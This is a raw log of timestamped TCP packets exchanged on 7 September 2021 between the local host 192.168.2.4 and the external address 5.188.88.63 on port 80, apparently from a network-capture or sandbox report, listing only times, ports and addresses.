Sep 7, 2021 16:03:07.916907072 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916945934 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916955948 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.916955948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.916990995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917021990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917033911 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917057991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917082071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917107105 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917131901 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917135000 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917155981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917160034 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917182922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917207956 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917232990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917257071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917263031 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917270899 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917282104 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917325974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917356014 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917382956 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917385101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917390108 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917407990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917428017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917434931 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917448997 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917474985 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917479992 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917496920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917515993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917531967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917548895 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917571068 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917598009 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917609930 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917627096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917653084 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917658091 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917659044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917689085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917700052 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917707920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917730093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917788982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917809010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917821884 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917835951 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917881012 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917897940 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917900085 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917908907 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917912006 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917927027 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917937040 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.917958021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.917989016 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918025017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918035030 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918040037 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918056011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918080091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918103933 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918128967 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918165922 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918170929 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918178082 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918206930 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918248892 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918282986 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918313026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918346882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918381929 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918433905 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918438911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918445110 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918463945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918490887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918520927 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918553114 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918576956 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918591022 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918601990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918613911 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918626070 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918637991 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918648005 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918649912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918657064 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918693066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918723106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918755054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918790102 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918822050 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918823004 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918831110 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918853998 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918886900 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918890953 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918895960 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.918919086 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918966055 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.918996096 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.919024944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.919051886 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.919054031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.919058084 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.919083118 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.919349909 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.982949972 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.990896940 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.994281054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994323015 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994354963 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994385958 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994407892 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.994438887 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.994617939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994663954 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994704962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994724989 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.994745970 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994817019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994874954 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994880915 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.994910955 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994951010 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.994952917 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995016098 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995058060 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995069027 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995129108 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995217085 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995269060 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995275974 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995337963 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995371103 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995404959 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995438099 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995466948 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995490074 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995498896 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995517969 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995533943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995567083 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995599031 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995630980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995663881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995668888 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995697021 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995711088 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995731115 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995764017 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995796919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995805979 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995830059 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995847940 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995862961 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995892048 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995920897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995934010 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995949984 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.995970011 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.995979071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996007919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996023893 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.996038914 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996068001 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996098995 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996114969 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.996129990 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996150017 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.996157885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996190071 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996213913 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.996222973 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996252060 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996282101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:07.996340036 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:07.996381998 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.070445061 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070504904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070548058 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070580959 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.070589066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070631981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070667982 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070677042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.070697069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070719957 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.070745945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070794106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070816040 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070838928 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.070842028 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070885897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070888042 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.070920944 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070954084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.070960045 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.070996046 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071005106 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071037054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071069956 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071096897 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071137905 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071147919 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071149111 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071173906 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071209908 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071219921 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071249008 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071276903 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071295977 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071307898 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071362972 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071368933 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071397066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071408033 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071417093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071455002 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071458101 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071491003 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071527004 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071557999 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071573973 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071588993 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071610928 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071613073 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071646929 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071669102 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071686983 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071731091 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071755886 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071779013 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071784019 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071809053 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071831942 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071876049 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071918011 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.071919918 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071957111 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.071996927 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072000980 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072050095 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072071075 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072096109 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072099924 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072110891 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072140932 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072159052 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072186947 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072204113 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072211981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072232962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072232962 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072254896 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072273016 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072277069 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072302103 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072313070 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072323084 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072345018 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072352886 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072365046 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072386026 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072406054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072416067 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072426081 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072447062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072451115 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072469950 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072484970 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072487116 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072515011 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072536945 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072539091 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072557926 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072577953 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072578907 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072599888 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072616100 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072619915 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072640896 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072660923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072679043 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072681904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072702885 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072715998 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072722912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072743893 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072743893 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072766066 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072778940 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072788000 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072808981 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072829962 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072837114 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072850943 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072863102 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072871923 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072892904 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072912931 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072933912 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072937012 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072953939 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072973013 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072974920 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.072995901 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.072997093 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073016882 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073033094 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073038101 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073059082 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073080063 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073100090 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073101044 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073122025 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073131084 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073143005 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073160887 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073169947 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073191881 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073205948 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073214054 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073235035 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073255062 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073266983 CEST	49772	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:03:08.073276997 CEST	80	49772	5.188.88.63	192.168.2.4
Sep 7, 2021 16:03:08.073297024 CEST	80	49772	5.188.88.63	192.168.2.4
